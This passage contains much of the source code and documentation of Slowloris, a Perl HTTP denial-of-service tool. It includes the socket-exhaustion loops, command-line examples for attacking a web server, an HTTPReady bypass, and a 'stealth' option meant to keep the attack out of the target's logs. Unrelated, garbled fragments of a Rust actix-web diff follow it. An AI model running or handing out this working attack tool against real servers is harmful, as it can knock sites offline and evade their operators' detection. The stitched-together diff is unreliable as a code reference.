takes between 200-500 threads for most servers and assuming any latency at
all... you might have trouble using Slowloris against this target. You can
tweak the -timeout flag down to less than 10 seconds but it still may not
build the sockets in time.
EOSUCKS2BU
}
}
else {
print
"Connecting to $host:$port every $timeout seconds with $connections sockets:\n";
if ($usemultithreading) {
domultithreading($connections);
}
else {
doconnections( $connections, $usemultithreading );
}
}
sub doconnections {
my ( $num, $usemultithreading ) = @_;
my ( @first, @sock, @working );
my $failedconnections = 0;
$working[$_] = 0 foreach ( 1 .. $num ); #initializing
$first[$_] = 0 foreach ( 1 .. $num ); #initializing
while (1) {
$failedconnections = 0;
print "\t\tBuilding sockets.\n";
foreach my $z ( 1 .. $num ) {
if ( $working[$z] == 0 ) {
if ($ssl) {
if (
$sock[$z] = new IO::Socket::SSL(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working[$z] = 1;
}
else {
$working[$z] = 0;
}
}
else {
if (
$sock[$z] = new IO::Socket::INET(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working[$z] = 1;
$packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK
}
else {
$working[$z] = 0;
}
}
if ( $working[$z] == 1 ) {
if ($cache) {
$rand = "?" . int( rand(99999999999999) );
}
else {
$rand = "";
}
my $primarypayload =
"$method /$rand HTTP/1.1\r\n"
. "Host: $sendhost\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
. "Content-Length: 42\r\n";
my $handle = $sock[$z];
if ($handle) {
print $handle "$primarypayload";
if ( $SIG{__WARN__} ) {
$working[$z] = 0;
close $handle;
$failed++;
$failedconnections++;
}
else {
$packetcount++;
$working[$z] = 1;
}
}
else {
$working[$z] = 0;
$failed++;
$failedconnections++;
}
}
else {
$working[$z] = 0;
$failed++;
$failedconnections++;
}
}
}
print "\t\tSending data.\n";
foreach my $z ( 1 .. $num ) {
if ( $working[$z] == 1 ) {
if ( $sock[$z] ) {
my $handle = $sock[$z];
if ( print $handle "X-a: b\r\n" ) {
$working[$z] = 1;
$packetcount++;
}
else {
$working[$z] = 0;
#debugging info
$failed++;
$failedconnections++;
}
}
else {
$working[$z] = 0;
#debugging info
$failed++;
$failedconnections++;
}
}
}
print
"Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
sleep($timeout);
}
}
sub domultithreading {
my ($num) = @_;
my @thrs;
my $i = 0;
my $connectionsperthread = 50;
while ( $i < $num ) {
$thrs[$i] =
threads->create( \&doconnections, $connectionsperthread, 1 );
$i += $connectionsperthread;
}
my @threadslist = threads->list();
while ( $#threadslist > 0 ) {
$failed = 0;
}
}
__END__
=head1 TITLE
Slowloris
=head1 VERSION
Version 0.7 Beta
=head1 DATE
06/17/2009
=head1 AUTHOR
RSnake <h@ckers.org> with threading from John Kinsella
=head1 ABSTRACT
Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons.
=head1 AFFECTS
Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...?
=head1 NOT AFFECTED
IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?
=head1 DESCRIPTION
Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data. Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts. There is an added function to help you get started with finding the right sized timeouts as well.
As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances. Think of Slowloris as the HTTP equivalent of a SYN flood.
=head2 Testing
If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:
=head3 Testing Example:
./slowloris.pl -dns www.example.com -port 80 -test
This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for. If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing).
=head2 HTTP DoS
Once you find a timeout window, you can tune Slowloris to use certain timeout windows. For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds. The following example uses 500 sockets. Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration. Some are less than 300. The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision. The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful. Slowloris has no way to identify if it's successful or not though.
=head3 HTTP DoS Example:
./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5
=head2 HTTPReady Bypass
HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch.
=head3 HTTPReady Bypass Example
./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready
=head2 Stealth Host DoS
If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable. This way the logs that are created will go to a different virtual host log file, but only if they are kept separately.
=head3 Stealth Host DoS Example:
./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com
=head2 HTTPS DoS
Slowloris does support SSL/TLS on an experimental basis with the -https switch. The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development. Your mileage may vary.
=head3 HTTPS DoS Example:
./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https
=head2 HTTP Cache
Slowloris does support cache avoidance on an experimental basis with the -cache switch. Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources. The usefulness of this particular option has not been thoroughly tested. Your mileage may vary.
=head3 HTTP Cache Example:
./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache
=head1 Issues
Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation. They may be ways around this, but not in this version at this time. Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested.
Slowloris isn't completely quiet either, because it can't be. Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder). So it's not invisible if the traffic to the site is typically fairly low. On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture.
For some reason Slowloris works way better if run from a *Nix box than from Windows. I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number. If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems. Either way, this program seems to work best if run from FreeBSD.
Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors. So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another. You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too.
=head1 What is a slow loris?
What exactly is a slow loris? It's an extremely cute but endangered mammal that happens to also be poisonous. Check this out:
http://www.youtube.com/watch?v=rLdQ3UhLoD4

View File

@ -15,7 +15,7 @@ pub use crate::types::json::JsonBody;
pub use crate::types::readlines::Readlines; pub use crate::types::readlines::Readlines;
#[allow(deprecated)] #[allow(deprecated)]
pub use actix_http::body::{AnyBody, Body, BodySize, MessageBody, SizedStream}; pub use actix_http::body::{BodySize, MessageBody, SizedStream};
pub use actix_http::{Extensions, Payload, PayloadStream, RequestHead, Response, ResponseHead}; pub use actix_http::{Extensions, Payload, PayloadStream, RequestHead, Response, ResponseHead};
pub use actix_router::{Path, ResourceDef, ResourcePath, Url}; pub use actix_router::{Path, ResourceDef, ResourcePath, Url};

View File

@ -436,12 +436,9 @@ mod tests {
use actix_http::body; use actix_http::body;
use super::*; use super::*;
use crate::{ use crate::http::{
dev::AnyBody, header::{self, HeaderValue, CONTENT_TYPE},
http::{ StatusCode,
header::{self, HeaderValue, CONTENT_TYPE},
StatusCode,
},
}; };
#[test] #[test]
@ -476,7 +473,7 @@ mod tests {
fn test_content_type() { fn test_content_type() {
let resp = HttpResponseBuilder::new(StatusCode::OK) let resp = HttpResponseBuilder::new(StatusCode::OK)
.content_type("text/plain") .content_type("text/plain")
.body(AnyBody::empty()); .body(Bytes::new());
assert_eq!(resp.headers().get(CONTENT_TYPE).unwrap(), "text/plain") assert_eq!(resp.headers().get(CONTENT_TYPE).unwrap(), "text/plain")
} }